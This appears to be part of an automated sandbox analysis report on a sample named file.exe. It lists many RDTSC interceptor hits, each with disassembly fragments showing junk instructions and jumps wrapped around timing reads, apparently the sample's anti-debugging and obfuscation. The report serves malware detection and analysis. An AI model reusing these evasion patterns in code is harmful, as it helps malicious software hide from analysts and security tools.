Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB42AA second address: AB42C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F0B44EA8C7Ch 0x0000000c jp 00007F0B44EA8C76h 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2AFB second address: AB2B10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79B1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2B10 second address: AB2B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jl 00007F0B44EA8C86h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2B21 second address: AB2B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7B31 second address: AB7B3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F0B44EA8C78h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A801D2 second address: A678E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jns 00007F0B44BD79AAh 0x0000000f nop 0x00000010 add dword ptr [ebp+122D1DDBh], edi 0x00000016 call dword ptr [ebp+122D36C3h] 0x0000001c pushad 0x0000001d jbe 00007F0B44BD79AEh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80602 second address: A80607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80607 second address: A8060E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A807E4 second address: A807E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A807E8 second address: A80809 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80809 second address: A8080E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8080E second address: A808A1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0B44BD79A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f jp 00007F0B44BD79B7h 0x00000015 pop esi 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 jnp 00007F0B44BD79BEh 0x0000001f jmp 00007F0B44BD79B8h 0x00000024 jmp 00007F0B44BD79B4h 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e jno 00007F0B44BD79B2h 0x00000034 pop eax 0x00000035 or dx, E360h 0x0000003a push C5E9A87Ah 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F0B44BD79B1h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80965 second address: A80981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0B44EA8C88h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80B68 second address: A80BA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e jns 00007F0B44BD79A8h 0x00000014 pop ebx 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F0B44BD79AAh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jno 00007F0B44BD79B0h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80BA8 second address: A80BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0B44EA8C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80BB2 second address: A80BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80E1B second address: A80E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0B44EA8C76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80E26 second address: A80E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F0B44BD79ADh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e or dword ptr [ebp+122D230Ah], ebx 0x00000014 push 00000004h 0x00000016 nop 0x00000017 pushad 0x00000018 jc 00007F0B44BD79ACh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80E4E second address: A80E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44EA8C80h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80E69 second address: A80E73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80E73 second address: A80E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A80E77 second address: A80E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8171D second address: A81728 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F0B44EA8C76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A81728 second address: A68491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov cx, dx 0x0000000b call dword ptr [ebp+122D297Dh] 0x00000011 jc 00007F0B44BD79E2h 0x00000017 push eax 0x00000018 push edx 0x00000019 jnc 00007F0B44BD79A6h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7E29 second address: AB7E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB821A second address: AB8220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8220 second address: AB8241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44EA8C89h 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB83C5 second address: AB83DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0B44BD79B5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB857C second address: AB8580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8580 second address: AB8584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8584 second address: AB85A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44EA8C81h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c js 00007F0B44EA8C76h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB85A5 second address: AB85B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0B44BD79A6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB85B1 second address: AB85B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8711 second address: AB8751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44BD79B0h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b jbe 00007F0B44BD79D2h 0x00000011 jmp 00007F0B44BD79AEh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0B44BD79B4h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC1D1 second address: ABC211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0B44EA8C87h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F0B44EA8C84h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F0B44EA8C7Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45155 second address: A4515B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4515B second address: A4516C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0B44EA8C76h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFA01 second address: ABFA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC41B5 second address: AC41BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC41BA second address: AC41D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jl 00007F0B44BD79A6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop edi 0x0000000c pushad 0x0000000d jmp 00007F0B44BD79AAh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4817 second address: AC481B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC481B second address: AC481F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC481F second address: AC482B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC482B second address: AC4873 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79B4h 0x00000007 jl 00007F0B44BD79A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F0B44BD79AEh 0x00000015 jmp 00007F0B44BD79ABh 0x0000001a jp 00007F0B44BD79A6h 0x00000020 popad 0x00000021 pushad 0x00000022 ja 00007F0B44BD79A6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC8099 second address: AC809F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7B66 second address: AC7B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7B6A second address: AC7B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7D65 second address: AC7D8B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0B44BD79A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pushad 0x0000000c jg 00007F0B44BD79B7h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A485DA second address: A485FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0B44EA8C81h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A485FE second address: A4860A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0B44BD79A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4860A second address: A48614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48614 second address: A48620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48620 second address: A4862C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACAAD4 second address: ACAAF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f ja 00007F0B44BD79ACh 0x00000015 jl 00007F0B44BD79A6h 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACAC20 second address: ACAC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACAC24 second address: ACAC38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACAC38 second address: ACAC42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACAC42 second address: ACAC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACAC48 second address: ACAC59 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0B44EA8C76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACAE2C second address: ACAE30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACAE30 second address: ACAE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0B44EA8C76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0B44EA8C82h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1905 second address: AD190F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD190F second address: AD1928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44EA8C82h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD02A5 second address: AD02BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79AEh 0x00000007 jno 00007F0B44BD79A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD02BD second address: AD02C2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0AEB second address: AD0AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD0AF3 second address: AD0AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD603F second address: AD606E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0B44BD79A6h 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0B44BD79B9h 0x00000013 jg 00007F0B44BD79A8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD606E second address: AD608A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C86h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD608A second address: AD608E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8D48 second address: AD8D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8D4C second address: AD8D5C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F0B44BD79A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD8D5C second address: AD8D83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44EA8C84h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jne 00007F0B44EA8C76h 0x00000012 pop edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD9094 second address: AD909F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD909F second address: AD90A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEB1B second address: ADEB2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 jmp 00007F0B44BD79AAh 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEB2C second address: ADEB33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEB33 second address: ADEB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEB39 second address: ADEB56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007F0B44EA8CA3h 0x0000000d jno 00007F0B44EA8C7Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADECE5 second address: ADECE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEE55 second address: ADEE5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEE5F second address: ADEE77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0B44BD79B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF14E second address: ADF152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF437 second address: ADF43D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF43D second address: ADF441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF441 second address: ADF46F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F0B44BD79B0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0B44BD79AEh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF46F second address: ADF48C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0B44EA8C87h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF48C second address: ADF492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF7B8 second address: ADF7CC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0B44EA8C76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFA60 second address: ADFA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFA66 second address: ADFA75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0B44EA8C7Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE74F0 second address: AE74F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEB278 second address: AEB289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F0B44EA8C76h 0x00000009 jo 00007F0B44EA8C76h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA91A second address: AEA91F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA91F second address: AEA924 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
